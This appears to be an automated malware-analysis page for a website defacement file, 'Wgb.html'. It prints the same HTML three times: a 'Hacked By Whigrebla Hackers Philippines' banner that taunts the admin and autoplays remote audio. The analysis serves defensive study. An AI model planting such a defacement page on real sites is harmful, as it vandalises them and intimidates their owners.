PHP Malware Analysis

Wgb.html

md5: f7375dbf38fd7f297c2bb27e4e308b73

Jump to:

Screenshot


Attributes

Title

URLs


Deobfuscated PHP code


<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    <meta name="description" content="Hello We are Whigrebla Hackers Philippines, Knocking at your security">
    <meta name="viewport" content="width=devic­e-width, initial-scale=1.0, user-scalable=no">
    <title>Hacked By Whigrebla Hackers</title>
  </head>
  <style type="text/css" media="all">
  @import url('https://fonts.googleapis.com/css2?family=Supermercado+One&display=swap');
    * {
      background: black;
      font-family: 'Supermercado One', cursive
    }
    img {
      width: 230px;
      border-radius: 50%;
      display: block;
      margin-right: auto;
      margin-left: auto;
      margin-top: 50px;
    }
    h1 {
      color: white;
      display: block;
      text-align: center;
      font-weight: bold;
    }
    h2 {
      color: #ed2323f3;
      display: block;
      text-align: center;
    }
    p {
      display: block;
      text-align: center;
      color: white;
      margin-top: 40px;
      font-size: 15px;
    }
    audio {
      display: block;
      margin-right: auto;
      margin-left: auto;
      margin-top: 20px;
    }
  </style>
  <body>
    <img src="https://i.ibb.co/HhCF8Tj/20220212-022306.jpg" alt="" /><br>
    <h1>[ Hacked By Whigrebla Hackers Philippines ]</h1>
    <h2>[!] Security Breached [!]</h2>
    <p>Hello Admin, Can you Patch Your Website Security? Because My Team Playing and Howling at your Security</p><br><br>
    <audio controls autoplay>
  <source src="http://hcmaslov.d-real.sci-nnov.ru/public/mp3/Devil%20doll/Devil%20doll%20'Dies%20Irae%2002.mp3" type="audio/ogg">
  <source src="http://hcmaslov.d-real.sci-nnov.ru/public/mp3/Devil%20doll/Devil%20doll%20'Dies%20Irae%2002.mp3" type="audio/mpeg">
  Your browser does not support the audio element.
</audio>
  </body>
</html>

Execution traces


Generated HTML code

<html><head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <meta name="description" content="Hello We are Whigrebla Hackers Philippines, Knocking at your security">
    <meta name="viewport" content="width=devic­e-width, initial-scale=1.0, user-scalable=no">
    <title>Hacked By Whigrebla Hackers</title>
  <style type="text/css" media="all">
  @import url('https://fonts.googleapis.com/css2?family=Supermercado+One&display=swap');
    * {
      background: black;
      font-family: 'Supermercado One', cursive
    }
    img {
      width: 230px;
      border-radius: 50%;
      display: block;
      margin-right: auto;
      margin-left: auto;
      margin-top: 50px;
    }
    h1 {
      color: white;
      display: block;
      text-align: center;
      font-weight: bold;
    }
    h2 {
      color: #ed2323f3;
      display: block;
      text-align: center;
    }
    p {
      display: block;
      text-align: center;
      color: white;
      margin-top: 40px;
      font-size: 15px;
    }
    audio {
      display: block;
      margin-right: auto;
      margin-left: auto;
      margin-top: 20px;
    }
  </style></head>
  
  <body>
    <img src="https://i.ibb.co/HhCF8Tj/20220212-022306.jpg" alt=""><br>
    <h1>[ Hacked By Whigrebla Hackers Philippines ]</h1>
    <h2>[!] Security Breached [!]</h2>
    <p>Hello Admin, Can you Patch Your Website Security? Because My Team Playing and Howling at your Security</p><br><br>
    <audio controls="" autoplay="">
  <source src="http://hcmaslov.d-real.sci-nnov.ru/public/mp3/Devil%20doll/Devil%20doll%20'Dies%20Irae%2002.mp3" type="audio/ogg">
  <source src="http://hcmaslov.d-real.sci-nnov.ru/public/mp3/Devil%20doll/Devil%20doll%20'Dies%20Irae%2002.mp3" type="audio/mpeg">
  Your browser does not support the audio element.
</audio>
  
</body></html>

Original PHP code


<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    <meta name="description" content="Hello We are Whigrebla Hackers Philippines, Knocking at your security">
    <meta name="viewport" content="width=devic­e-width, initial-scale=1.0, user-scalable=no">
    <title>Hacked By Whigrebla Hackers</title>
  </head>
  <style type="text/css" media="all">
  @import url('https://fonts.googleapis.com/css2?family=Supermercado+One&display=swap');
    * {
      background: black;
      font-family: 'Supermercado One', cursive
    }
    img {
      width: 230px;
      border-radius: 50%;
      display: block;
      margin-right: auto;
      margin-left: auto;
      margin-top: 50px;
    }
    h1 {
      color: white;
      display: block;
      text-align: center;
      font-weight: bold;
    }
    h2 {
      color: #ed2323f3;
      display: block;
      text-align: center;
    }
    p {
      display: block;
      text-align: center;
      color: white;
      margin-top: 40px;
      font-size: 15px;
    }
    audio {
      display: block;
      margin-right: auto;
      margin-left: auto;
      margin-top: 20px;
    }
  </style>
  <body>
    <img src="https://i.ibb.co/HhCF8Tj/20220212-022306.jpg" alt="" /><br>
    <h1>[ Hacked By Whigrebla Hackers Philippines ]</h1>
    <h2>[!] Security Breached [!]</h2>
    <p>Hello Admin, Can you Patch Your Website Security? Because My Team Playing and Howling at your Security</p><br><br>
    <audio controls autoplay>
  <source src="http://hcmaslov.d-real.sci-nnov.ru/public/mp3/Devil%20doll/Devil%20doll%20'Dies%20Irae%2002.mp3" type="audio/ogg">
  <source src="http://hcmaslov.d-real.sci-nnov.ru/public/mp3/Devil%20doll/Devil%20doll%20'Dies%20Irae%2002.mp3" type="audio/mpeg">
  Your browser does not support the audio element.
</audio>
  </body>
</html>